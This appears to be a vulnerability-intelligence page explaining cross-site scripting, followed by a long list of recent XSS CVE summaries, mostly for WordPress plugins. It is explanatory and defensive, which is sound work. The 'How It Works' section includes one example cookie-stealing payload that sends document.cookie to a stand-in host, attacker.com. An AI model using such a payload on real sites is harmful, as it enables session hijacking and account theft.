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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40674)

EPSS 0% CVSS 7.1
HIGH This Week

Reflected Cross-Site Scripting (XSS) in the SB Breadcrumbs WordPress plugin up to version 1.0 allows unauthenticated attackers to inject arbitrary web scripts via a crafted URL, potentially hijacking user sessions, defacing the site, or redirecting visitors to malicious pages. No active exploitation or public exploit code has been identified at this time.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored cross-site scripting in the WebEmailProtector WordPress plugin (≤3.3.6) allows authenticated attackers with low-privilege accounts (e.g., Contributor) to inject malicious scripts into plugin settings, causing script execution in administrators' browsers. No public exploit or active exploitation has been reported, and EPSS probability is very low (0.03%).

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting (XSS) in WP Wall ≤1.7.3 lets attackers execute arbitrary JavaScript in victims' browsers via crafted links. The WordPress plugin fails to properly sanitize reflected input, requiring user interaction. No active exploitation or public exploit is confirmed, and EPSS probability is very low (0.03%).

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Reflected cross-site scripting in the OTWthemes Content Manager Light WordPress plugin through version 3.2 allows an unauthenticated attacker to inject arbitrary web scripts. Successful exploitation requires tricking an authenticated administrator into clicking a crafted link, after which the attacker may steal session tokens, deface content, or perform other actions in the victim’s browser context. At the time of analysis, no public exploit code or active exploitation has been identified.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored cross-site scripting (XSS) vulnerability in the WP Visitor Statistics (Real Time Traffic) plugin for WordPress versions up to 7.8 allows authenticated attackers with low privileges to inject malicious scripts into the statistics display pages. When an administrator views the affected page, the script executes in their browser, potentially leading to session hijacking, data theft, or administrative actions. Currently no public exploit or active exploitation has been reported, and the EPSS score is low (0.03%), indicating limited immediate risk.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

DOM-based cross-site scripting in the WordPress Card flip image slideshow plugin (<= 1.5) allows authenticated attackers to execute arbitrary JavaScript in victims’ browsers. Exploitation requires at least contributor-level access and user interaction; impact includes session theft and defacement. No evidence of active exploitation or public exploit code exists, and EPSS indicates a very low probability of real-world attacks.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

DOM-based Cross-Site Scripting (XSS) in Aakif Kadiwala Posts Slider Shortcode plugin for WordPress up to version 1.0 allows authenticated attackers with low-level privileges to execute arbitrary scripts in the browsers of site visitors who view a vulnerable page. Exploitation could lead to session hijacking, defacement, or redirection. No active exploitation is confirmed, and EPSS estimates only a 0.03% probability of widespread exploitation, indicating low real-world risk despite the medium CVSS score.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Stored cross-site

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored cross-site scripting (XSS) in the OwnerRez WordPress plugin up to version 1.2.1 allows authenticated attackers with low-level privileges to inject malicious web scripts. When an administrator or other user views the affected page, the script executes in their browser, potentially leading to session hijacking, defacement, or phishing. No active exploitation or public exploit is currently known, and the vulnerability carries a low EPSS score (0.03%), indicating minimal immediate threat.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 4.6
MEDIUM This Month

Stored cross-site scripting in N-Media Frontend File Manager plugin for WordPress (≤23.2) allows authenticated, low-privileged users to inject script tags into filenames or content. An attacker with upload permissions can craft a malicious file that, when rendered in the frontend manager interface, executes arbitrary JavaScript in the browser of any user who views it. No public exploit or active exploitation has been observed; the EPSS score is very low at 0.03%.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored cross-site scripting in bPlugins Video Gallery Block plugin for WordPress allows authenticated attackers to inject malicious scripts that execute in the browsers of other users, including administrators. Versions up to 1.1.0 are affected. No public exploit or active exploitation reported; EPSS indicates very low exploitation probability (0.03%).

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored cross-site scripting in WP fancybox plugin through version 1.0.4 allows authenticated attackers to inject malicious scripts into pages viewed by other users. No known public exploit or active exploitation has been identified, and EPSS indicates low exploitation likelihood.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

DOM-based cross-site scripting in the (Simply) Guest Author Name WordPress plugin through version 4.36 allows authenticated users with contributor-level privileges to inject arbitrary JavaScript. When an administrator or other high-privileged user views a page containing the malicious payload, the script executes in their browser, potentially leading to session theft, defacement, or unauthorized actions. No active exploitation or public proof-of-concept is known, and EPSS indicates very low exploitation probability.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

Stored cross-site scripting in the MyRewards WordPress plugin up to 5.4.13.1 allows unauthenticated attackers to inject scripts that execute in other users' browsers, potentially leaking sensitive session information (CVSS 5.3). No active exploitation or public exploit is known, and EPSS shows very low exploitation probability (0.03%).

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.7
HIGH This Week

Stored cross-site scripting in Chatra Live Chat + ChatBot + Cart Saver WordPress plugin through 1.0.11 allows authenticated users with low privileges to inject scripts that execute in administrative contexts, leading to availability impacts. No active exploitation or public exploit has been identified, and EPSS indicates a very low likelihood of widespread attacks.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Easy restaurant menu manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's nsc_eprm_menu_link shortcode in versions up to, and including 2.0.1, due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 9.8
CRITICAL Act Now

Whale browser for iOS before 3.9.1.4206 allow an attacker to execute malicious scripts in the browser via a crafted javascript scheme.

XSS Apple iOS +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Premium Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's linkURL in the Mobile Menu element in all versions up to, and including, 4.10.69 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

WordPress XSS Premium Addons For Elementor +3
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Uncode Core plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'uncode_hl_text' and 'uncode_text_icon' shortcodes in all versions up to, and including, 2.9.4.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 3.5
LOW POC PATCH Monitor

A vulnerability was found in Cockpit up to 2.11.3. It has been rated as problematic. This issue affects some unknown processing of the file /system/users/save. The manipulation of the argument name/email leads to cross site scripting. The attack may be initiated remotely. Upgrading to version 2.11.4 is able to address this issue. The patch is named bdcd5e3bc651c0839c7eea807f3eb6af856dbc76. It is recommended to upgrade the affected component. The vendor was contacted early about this disclosure and acted very professional. A patch and new release was made available very quickly.

XSS Cockpit Agentejo
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Portfolio for Elementor & Image Gallery | PowerFolio plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Custom JS Attributes of Plugin's widgets in all versions up to, and including, 3.2.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The issue was partially fixed in version 3.2.0 and fully fixed in version 3.2.1

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in the Smart Docs WordPress plugin allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts via the 'smartdocs_search' shortcode. Versions up to and including 1.1.0 are affected. No public exploit has been identified at the time of analysis, and the EPSS exploitation probability is low (0.03%), reducing immediate risk.

WordPress XSS Smart Docs +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The ProcessingJS for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'pjs4wp' shortcode in all versions up to, and including, 1.2.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'data-url' DOM element attribute in all versions up to, and including, 7.4.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 8.6
HIGH POC PATCH This Week

Citizen is a MediaWiki skin that makes extensions part of the cohesive experience. From versions 1.9.4 to before 3.4.0, short descriptions set via the ShortDescription extension are inserted as raw HTML by the Citizen skin, allowing any user to insert arbitrary HTML into the DOM by editing a page. This issue has been patched in version 3.4.0.

XSS Citizen Starcitizen Tools
NVD GitHub
EPSS 0% CVSS 8.6
HIGH PATCH This Week

Short Description is a MediaWiki extension that provides local short description support. In version 4.0.0, short descriptions are not properly sanitized before being inserted as HTML using mw.util.addSubtitle, allowing any user to insert arbitrary HTML into the DOM by editing a page. This issue has been patched in version 4.0.1.

XSS
NVD GitHub
EPSS 0% CVSS 8.6
HIGH POC PATCH This Week

Citizen is a MediaWiki skin that makes extensions part of the cohesive experience. From versions 1.9.4 to before 3.4.0, page descriptions are inserted into raw HTML without proper sanitization by the Citizen skin when using the old search bar. Any user with page editing privileges can insert cross-site scripting (XSS) payloads into the DOM for other users who are searching for specific pages. This issue has been patched in version 3.4.0.

XSS Citizen Starcitizen Tools
NVD GitHub
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Input Validation vulnerability in Wikimedia Foundation Mediawiki - FeaturedFeeds Extension allows Cross-Site Scripting (XSS).This issue affects Mediawiki - FeaturedFeeds Extension: 1.39.X, 1.42.X, 1.43.X.

XSS
NVD
EPSS 0% CVSS 5.6
MEDIUM POC PATCH This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - MassEditRegex Extension allows Stored XSS.This issue affects Mediawiki - MassEditRegex Extension: from 1.39.X before 1.39.12, from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.

XSS Masseditregex
NVD
EPSS 0% CVSS 5.6
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - GoogleDocs4MW Extension allows Cross-Site Scripting (XSS).This issue affects Mediawiki - GoogleDocs4MW Extension: from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.

XSS Googledocs4mw
NVD
EPSS 0% CVSS 5.6
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - CampaignEvents Extension allows Cross-Site Scripting (XSS).This issue affects Mediawiki - CampaignEvents Extension: from 1.43.X before 1.43.2.

XSS Campaignevents
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Akeles Out of Office Assistant for Jira 4.0.1 is vulberable to Cross Site Scripting (XSS) via the Jira fullName parameter.

XSS Microsoft Atlassian +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Stored cross-site scripting (XSS) in the PublishPress Gutenberg Blocks WordPress plugin (up to version 3.3.1) allows authenticated attackers with low privileges to inject arbitrary JavaScript via specially crafted blocks. When an administrator or other user views the malicious content, the script executes in their browser, potentially leading to session hijacking, credential theft, or site defacement. No active exploitation or public exploit code has been identified.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Multiple plugins for WordPress are vulnerable to Stored Cross-Site Scripting via the plugin's bundled ThickBox JavaScript library (version 3.1) in various versions due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

A cross-site scripting vulnerability is present in the hotspot of MikroTik's RouterOS on versions below 7.19.2. An attacker can inject the `javascript` protocol in the `dst` parameter. When the victim browses to the malicious URL and logs in, the XSS executes. The POST request used to login, can also be converted to a GET request, allowing an attacker to send a specifically crafted URL that automatically logs in the victim (into the attacker's account) and triggers the payload.

XSS
NVD Exploit-DB
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

Stored Cross-Site Scripting (XSS) vulnerability in versions prior to Flatboard 3.2.2 of Flatboard Pro, consisting of a stored XSS due to lack of proper validation of user input, through the footer_text and announcement parameters in config.php.

PHP XSS
NVD
EPSS 0% CVSS 5.1
MEDIUM PATCH This Month

Stored Cross-Site Scripting (XSS) vulnerability in versions prior to Flatboard 3.2.2 of Flatboard Pro, consisting of a stored XSS due to lack of proper validation of user input, through the replace parameter in /config.php/tags.

PHP XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting vulnerability in the prettyPhoto library (version 3.1.6) bundled in multiple WordPress plugins allows authenticated attackers with contributor-level access to inject arbitrary scripts that execute in pages viewed by site visitors. The vulnerability is due to insufficient input sanitization and output escaping on user-supplied attributes when using the library's gallery functionality. No public exploit or active exploitation has been identified at the time of analysis; the EPSS score (0.06%) indicates a low probability of exploitation.

WordPress XSS
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

The web application is vulnerable to clickjacking attacks. The site can be embedded into another frame, allowing an attacker to trick a user into clicking on something different from what the user perceives, thus potentially revealing confidential information or allowing others to take control of their computer while clicking on seemingly innocuous objects.

XSS Meac300 Fnade4 Firmware Endress
NVD
EPSS 0% CVSS 6.8
MEDIUM This Month

The web application is susceptible to cross-site-scripting attacks. An attacker who can create new dashboards can inject JavaScript code into the dashboard name which will be executed when the website is loaded.

XSS Meac300 Fnade4 Firmware Endress
NVD
EPSS 0% CVSS 7.4
HIGH This Week

The web application is susceptible to cross-site-scripting attacks. An attacker can create a prepared URL, which injects JavaScript code into the website. The code is executed in the victim’s browser when an authenticated administrator clicks the link.

XSS Meac300 Fnade4 Firmware Endress
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Multiple plugins for WordPress are vulnerable to Stored Cross-Site Scripting via the plugin's bundled Magnific Popups library (version 1.1.0) in various versions due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. NOTE: This vulnerability was fixed in the upstream library (Magnific Popups version 1.2.0) by disabling the loading of HTML within certain fields by default.

WordPress XSS
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The PeepSo Core: Groups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Group Description field in all versions up to, and including, 6.4.6.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM POC PATCH This Month

The Element Pack Addons for Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘data-caption’ attribute in all versions up to, and including, 8.0.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +3
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Laundry on Linux, MacOS allows Account Takeover. This issue affects Laundry: 2.3.0.

XSS Apple macOS +1
NVD GitHub
EPSS 0% CVSS 6.8
MEDIUM PATCH This Month

Zulip is an open-source team chat application. From versions 2.0.0-rc1 to before 10.4 in Zulip Server, the /digest/ URL of a server shows a preview of what the email weekly digest would contain. This URL, though not the digest itself, contains a cross-site scripting (XSS) vulnerability in both topic names and channel names. This issue has been fixed in Zulip Server 10.4. A workaround for this issue involves denying access to /digest/.

XSS Debian Zulip Server +1
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco BroadWorks CommPilot Application Software could allow an authenticated, remote attacker to conduct cross-site scripting (XSS) attacks against a user of the interface. This vulnerability is due to insufficient validation of user-supplied input by the web-based management interface of an affected system. An attacker could exploit this vulnerability by injecting malicious code into specific pages of the interface. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To exploit this vulnerability, the attacker must have valid administrative credentials.

XSS Cisco Broadworks Application Delivery Platform
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability in the web UI of Cisco Enterprise Chat and Email (ECE) could allow an unauthenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the interface. This vulnerability exists because the web UI does not properly validate user-supplied input. An attacker could exploit this vulnerability by persuading a user of the interface to click a crafted link. A successful exploit could allow the attacker to execute arbitrary script code in the context of the affected interface or access sensitive, browser-based information. To successfully exploit this vulnerability, an attacker would need valid&nbsp;agent&nbsp;credentials.

XSS Cisco Enterprise Chat And Email
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

In the PdfViewer component, a Cross-Site Scripting (XSS) vulnerability is possible if a specially-crafted document has already been loaded and the user engages with a tool that requires the DOM to be re-rendered.

XSS
NVD
EPSS 0% CVSS 6.5
MEDIUM POC PATCH This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - TwoColConflict Extension allows Stored XSS.This issue affects Mediawiki - TwoColConflict Extension: from 1.39.X before 1.39.13, from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.

XSS Twocolconflict
NVD
EPSS 0% CVSS 6.5
MEDIUM POC PATCH This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - MintyDocs Extension allows Stored XSS.This issue affects Mediawiki - MintyDocs Extension: from 1.43.X before 1.43.2.

XSS Mintydocs
NVD
EPSS 0% CVSS 3.7
LOW PATCH Monitor

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Wikimedia Foundation Mediawiki - MintyDocs Extension allows Stored XSS.This issue affects Mediawiki - MintyDocs Extension: from 1.43.X before 1.43.2.

XSS Mintydocs
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The All-in-One Addons for Elementor - WidgetKit plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'button+modal' widget in all versions up to, and including, 2.5.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +4
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability exists in Active! mail 6 BuildInfo: 6.30.01004145 to 6.60.06008562. If this vulnerability is exploited, an arbitrary script may be executed on the logged-in user's web browser when the user is accessing a specially crafted URL.

XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting in Magic Buttons for Elementor WordPress plugin versions ≤1.0 allows authenticated attackers with Contributor-level access to inject arbitrary scripts via the magic-button shortcode, executing in the browsers of any user viewing the affected page. No active exploitation or public exploit code is known, and EPSS probability is extremely low (0.03%).

WordPress XSS Magic Buttons For Elementor +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Stored cross-site scripting vulnerability in the Magic Buttons for Elementor WordPress plugin allows authenticated attackers with contributor-level access to inject arbitrary web scripts via the magic-button shortcode. The flaw exists in all versions up to and including 1.0 due to insufficient input sanitization. No public exploit has been identified, and EPSS score is very low (0.03%), indicating minimal exploitation risk at this time.

WordPress XSS Magic Buttons For Elementor +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP Front-end login and register plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the email and wpmp_reset_password_token parameters in all versions up to, and including, 2.1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

WordPress XSS Wp Front End Login And Register +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The Contec Co.,Ltd. CONPROSYS HMI System (CHS) is vulnerable to Cross-Site Scripting (XSS) in the getqsetting.php functionality that could allow reflected execution of scripts in the browser on interaction.This issue affects CONPROSYS HMI System (CHS): before 3.7.7.

PHP XSS Conprosys Hmi System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Dear Flipbook - PDF Flipbook, 3D Flipbook, PDF embed, PDF viewer plugin for WordPress is vulnerable to DOM-Based Reflected Cross-Site Scripting via the ‘pdf-source’ parameter in all versions up to, and including, 2.3.65 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Ultra Addons for Contact Form 7 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's UACF7_CUSTOM_FIELDS shortcode in all versions up to, and including, 3.5.21 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 5.3
MEDIUM This Month

A stored cross-site scripting vulnerability in ENS HX 10.0.4 allows a malicious user to inject arbitrary HTML into the ENS HX Malware Scan Name field, resulting in the exposure of sensitive data.

XSS Information Disclosure
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Sunshine is a self-hosted game stream host for Moonlight. Prior to version 2025.628.4510, the web UI of Sunshine lacks protection against Clickjacking attacks. This vulnerability allows an attacker to embed the Sunshine interface within a malicious website using an invisible or disguised iframe. If a user is tricked into interacting (one or multiple clicks) with the malicious page while authenticated, they may unknowingly perform actions within the Sunshine application without their consent. This issue has been patched in version 2025.628.4510.

XSS Sunshine Lizardbyte
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM System Storage Virtualization Engine TS7700 3957 VED R5.4 8.54.2.17, R6.0 8.60.0.115, 3948 VED R5.4 8.54.2.17, R6.0 8.60.0.115, and 3948 VEF R6.0 8.60.0.115 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

XSS IBM 3948 Ved Firmware +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

IBM System Storage Virtualization Engine TS7700 3957 VED R5.4 8.54.2.17, R6.0 8.60.0.115, 3948 VED R5.4 8.54.2.17, R6.0 8.60.0.115, and 3948 VEF R6.0 8.60.0.115 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.

XSS IBM 3948 Ved Firmware +2
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Frappe is a full-stack web application framework. Prior to versions 14.94.2 and 15.57.0, authenticated users could upload carefully crafted malicious files via Data Import, leading to cross-site scripting (XSS). This issue has been patched in versions 14.94.2 and 15.57.0. There are no workarounds for this issue other than upgrading.

XSS Frappe
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Devinim Software Library Software allows Reflected XSS.This issue affects Library Software: before 24.11.02.

XSS
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM This Month

IBM Cloud Pak System 2.3.3.6, 2.3.36 iFix1, 2.3.3.7, 2.3.3.7 iFix1, 2.3.4.0, 2.3.4.1, and 2.3.4.1 iFix1 is vulnerable to HTML injection. A remote attacker could inject malicious HTML code, which when viewed, would be executed in the victim's Web browser within the security context of the hosting site.

XSS IBM Cloud Pak System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A reflected cross-site scripting vulnerability via a specific parameter exists in SLNX Help Documentation of RICOH Streamline NX. If this vulnerability is exploited, an arbitrary script may be executed in the web browser of the user who accessed the product.

XSS
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in Daily Expense Manager v1.0. This vulnerability allows an attacker to execute JavaScript code by sending a POST request through the password and confirm_password parameters in /register.php.

PHP XSS Daily Expense Manager +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in Daily Expense Manager v1.0. This vulnerability allows an attacker to execute JavaScript code by sending a POST request through the username parameter in /login.php.

PHP XSS Daily Expense Manager +1
NVD
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

The Contact Form Plugin WordPress plugin before 1.1.29 does not sanitise and escape some of its settings, which could allow high privilege users such as contributor to perform Stored Cross-Site Scripting attacks.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 6.3
MEDIUM POC PATCH This Month

The WP Lightbox 2 WordPress plugin before 3.0.6.8 does not correctly sanitize the value of the title attribute of links before using them, which may allow malicious users to conduct XSS attacks.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 7.5
HIGH PATCH This Week

A Cross-Site Request Forgery (CSRF) leading to Cross-Site Scripting (XSS) vulnerability in the UCRM Client Signup Plugin (v1.3.4 and earlier) could allow privilege escalation if an Administrator is tricked into visiting a crafted malicious page. The plugin is disabled by default.

XSS Privilege Escalation CSRF
NVD
EPSS 0% CVSS 2.0
LOW POC Monitor

Cross-site scripting in code-projects Simple Forum 1.0 allows a low-privileged remote attacker to inject arbitrary JavaScript via the /forum_edit1.php text parameter. The attack can be carried out by an authenticated user and executes when another user views the manipulated page. Public exploit code is available, but EPSS data indicates very low exploitation probability.

PHP XSS Simple Forum +1
NVD GitHub VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The EZ SQL Reports Shortcode Widget and DB Backup plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's SQLREPORT shortcode in all versions up to, and including, 5.25.11 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Qi Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several parameters in all versions up to, and including, 1.9.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

PHP WordPress XSS +4
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

